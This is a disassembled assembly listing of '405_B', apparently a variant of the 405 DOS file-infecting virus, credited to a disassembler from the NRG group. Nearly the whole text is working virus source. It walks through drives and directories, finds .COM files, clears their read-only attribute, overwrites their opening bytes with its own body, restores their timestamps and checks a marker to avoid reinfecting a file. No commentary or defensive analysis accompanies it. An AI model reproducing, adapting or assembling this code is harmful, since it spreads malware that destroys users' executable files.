405_B
;
--------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
;
--------------------------------------------------------------------------
BUFFER SEGMENT AT 0
ORG 295H
DW0295 DW ?
DB0297 DB ?
ORG 0E000H
DWE000 DW ?
ORG 0E195H
DWE195 DW ?
BUFFER ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING,ES:BUFFER
VIRLEN EQU OFFSET ENDADR-START
ORG 100H
START: XCHG SI,AX
ADD [BX+SI],AL
SAHF
ADD [BX+SI],AL
NOP
MOV AX,0
MOV ES:DB0249,AL
MOV ES:DB024B,AL
MOV ES:DB028B,AL
PUSH AX
MOV AH,19H
INT 21H
MOV ES:DB0249,AL
MOV AH,47H
ADD AL,1
PUSH AX
MOV DL,AL
LEA SI,DB024B
INT 21H
POP AX
MOV AH,0EH
SUB AL,1
MOV DL,AL
INT 21H
MOV ES:DB028B,AL
BP0139: MOV AL,ES:DB0249
CMP AL,0
JNZ BP0152
MOV AH,0EH
MOV DL,2
INT 21H
MOV AH,19H
INT 21H
MOV ES:DB024A,AL
JMP BP0179
BP0152: CMP AL,1
JNZ BP0167
MOV AH,0EH
MOV DL,2
INT 21H
MOV AH,19H
INT 21H
MOV ES:DB024A,AL
JMP BP0179
BP0167: CMP AL,2
JNZ BP0179
MOV AH,0EH
MOV DL,0
INT 21H
MOV AH,19H
INT 21H
MOV ES:DB024A,AL
BP0179: MOV AH,4EH
MOV CX,1
LEA DX,DB028C
INT 21H
JB BP0189
JMP BP01A9
BP0189: MOV AH,3BH
LEA DX,DB0297
INT 21H
MOV AH,4EH
MOV CX,0011H
LEA DX,DB0292
INT 21H
JB BP0139
JMP BP0179
BP01A0: MOV AH,4FH
INT 21H
JB BP0189
JMP BP01A9
; Process COM file
BP01A9: MOV AH,3DH
MOV AL,2
MOV DX,009EH
INT 21H
MOV BX,AX
MOV AH,3FH
MOV CX,VIRLEN
NOP
MOV DX,OFFSET DWE000
NOP
INT 21H
MOV AH,3EH
INT 21H
MOV BX,DWE000
CMP BX,9600H
JZ BP01A0
MOV AH,43H
MOV AL,0
MOV DX,009EH
INT 21H
MOV AH,43H
MOV AL,1
AND CX,00FEH
INT 21H
MOV AH,3DH
MOV AL,2
MOV DX,009EH
INT 21H
MOV BX,AX
MOV AH,57H
MOV AL,0
INT 21H
PUSH CX
PUSH DX
ASSUME ES:NOTHING
MOV DX,CS:DW0295
MOV CS:DWE195,DX
MOV DX,CS:DWE000+1
LEA CX,DB0294-100H
SUB DX,CX
MOV CS:DW0295,DX
MOV AH,40H
MOV CX,VIRLEN
NOP
LEA DX,START
INT 21H
MOV AH,57H
MOV AL,1
POP DX
POP CX
INT 21H
MOV AH,3EH
INT 21H
MOV DX,CS:DWE195
MOV CS:DW0295,DX
JMP BP0234
BP0234: MOV AH,0EH
MOV DL,CS:DB0249
INT 21H
MOV AH,3BH
LEA DX,DB024A
INT 21H
MOV AH,0
INT 21H
DB0249 DB 2
DB024A DB 0
DB024B DB 'TEST', 3CH DUP (0)
DB028B DB 0DH
DB028C DB '*.COM', 0
DB0292 DB '*', 0
DB0294 DB 0E9H
ENDADR EQU $
CODE ENDS
END START